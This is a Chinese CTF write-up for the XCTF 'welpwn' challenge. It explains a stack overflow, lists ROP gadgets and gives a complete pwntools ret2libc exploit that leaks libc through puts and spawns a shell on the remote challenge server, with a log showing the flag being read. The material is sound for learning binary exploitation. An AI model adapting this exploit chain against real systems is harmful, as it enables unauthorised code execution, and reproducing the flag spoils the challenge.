welpwn [XCTF-PWN][高手進階區]CTF writeup攻防世界題解系列24

題目地址:welpwn

本題是高手進階區的第13題,先看看題目

照例檢查一下保護機制

[*] '/ctf/work/python/welpwn/a9ad88f80025427592b35612be5492fd'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

沒什麼問題,只開了NX。

看下反編譯之後的c語言代碼:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-400h]

  write(1, "Welcome to RCTF\n", 0x10uLL);
  fflush(_bss_start);
  read(0, &buf, 0x400uLL);
  echo((__int64)&buf);
  return 0;
}

int __fastcall echo(__int64 pszInputString)
{
  char szTemp[16]; // [rsp+10h] [rbp-10h]

  for ( g_nIndex = 0; *(_BYTE *)(g_nIndex + pszInputString); ++g_nIndex )
    szTemp[g_nIndex] = *(_BYTE *)(g_nIndex + pszInputString);
  szTemp[g_nIndex] = 0;
  if ( !strcmp("ROIS", szTemp) )
  {
    printf("RCTF{Welcome}", szTemp);
    puts(" is not flag");
  }
  return printf("%s", szTemp);
}

這個題目的代碼量非常少。我們看到echo裏面有數組下標溢出,但是有判斷條件:輸入的字符如果是0的話不再繼續拷貝數據,那我們溢出的時候,就沒法輸入多個地址數據了。

我們用ida調試的時候發現echo函數的棧底下方接着的就是main函數的buf變量。

我們試着輸入多個地址數據

看看堆棧的情況如何

用gdb調試,發現echo函數溢出之後只接收到了第一個地址,但是下面的堆棧有完整的多個地址的輸入數據。

這就好辦了,我們先pop出來4個堆棧數據,那麼接下來就是我們輸入的rop指令了。

那我們就先找一下連續4個pop的rop指令:

root@mypwn:/ctf/work/python/welpwn# ROPgadget --binary ./a9ad88f80025427592b35612be5492fd --only 'pop|ret'
Gadgets information
============================================================
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400675 : pop rbp ; ret
0x00000000004008a3 : pop rdi ; ret
0x00000000004008a1 : pop rsi ; pop r15 ; ret
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400589 : ret
0x00000000004006a5 : ret 0xc148
0x000000000040081a : ret 0xfffd

Unique gadgets found: 13

可以看到第一個40089c就是我們需要的指令,只需要一個地址就行了。那就把第一個地址放在溢出的eip,後面跟上我們需要的rop指令就好了。

構建一下python腳本如下:

#!python
#!/usr/bin/env python
#coding:utf8
 
from pwn import *
 
context.log_level = 'debug'
process_name = './a9ad88f80025427592b35612be5492fd'
# p = process([process_name], env={'LD_LIBRARY_PATH':'./'})
p = remote('111.198.29.45', 54453)
elf = ELF(process_name)

main_addr = 0x4007CD
echo_addr = 0x40071D
pop_rdi_ret = 0x4008a3
pop4_ret = 0x40089c
write_got = elf.got['write']
puts_plt = elf.plt['puts']
payload = 'A'*(0x10+8) + p64(pop4_ret) + p64(pop_rdi_ret) + p64(write_got) + p64(puts_plt) + p64(main_addr)
# pause()

p.sendafter('Welcome to RCTF\n', payload)
p.recvuntil('A'*(0x10+8))
p.recv(3)
write_addr = u64(p.recvn(6).ljust(8, '\x00'))
log.info("write_addr => %#x", write_addr)


from LibcSearcher import *
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

payload = 'A'*(0x10+8) + p64(pop4_ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
p.send(payload)
p.interactive()

執行情況如下:

root@mypwn:/ctf/work/python/welpwn# python welpwn.py 
[+] Opening connection to 111.198.29.45 on port 54453: Done
[DEBUG] PLT 0x40059c puts
[DEBUG] PLT 0x4005b0 write
[DEBUG] PLT 0x4005c0 printf
[DEBUG] PLT 0x4005d0 alarm
[DEBUG] PLT 0x4005e0 read
[DEBUG] PLT 0x4005f0 __libc_start_main
[DEBUG] PLT 0x400600 strcmp
[DEBUG] PLT 0x400610 __gmon_start__
[DEBUG] PLT 0x400620 fflush
[*] '/ctf/work/python/welpwn/a9ad88f80025427592b35612be5492fd'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[DEBUG] Received 0x10 bytes:
    'Welcome to RCTF\n'
[DEBUG] Sent 0x40 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  9c 08 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000020  a3 08 40 00  00 00 00 00  20 10 60 00  00 00 00 00  │··@·│····│ ·`·│····│
    00000030  9c 05 40 00  00 00 00 00  cd 07 40 00  00 00 00 00  │··@·│····│··@·│····│
    00000040
[DEBUG] Received 0x10 bytes:
    'Welcome to RCTF\n'
[DEBUG] Received 0x22 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  9c 08 40 b0  d2 ee 66 35  │AAAA│AAAA│··@·│··f5│
    00000020  7f 0a                                               │··│
    00000022
[*] write_addr => 0x7f3566eed2b0
[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.
[DEBUG] Sent 0x38 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  9c 08 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000020  a3 08 40 00  00 00 00 00  57 2d f8 66  35 7f 00 00  │··@·│····│W-·f│5···│
    00000030  90 b3 e3 66  35 7f 00 00                            │···f│5···││
    00000038
[*] Switching to interactive mode

$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x42 bytes:
    'bin\n'
    'dev\n'
    'flag\n'
    'lib\n'
    'lib32\n'
    'lib64\n'
    'libc32-2.19.so\n'
    'libc64-2.19.so\n'
    'welpwn\n'
bin
dev
flag
lib
lib32
lib64
libc32-2.19.so
libc64-2.19.so
welpwn
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2d bytes:
    'cyberpeace{1fcc408fd64acb1dcde98c0f11a7429b}\n'
cyberpeace{1fcc408fd64acb1dcde98c0f11a7429b}

執行成功!本題的知識點是用gdb進行內存堆棧調試,發現堆棧的排列情況。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章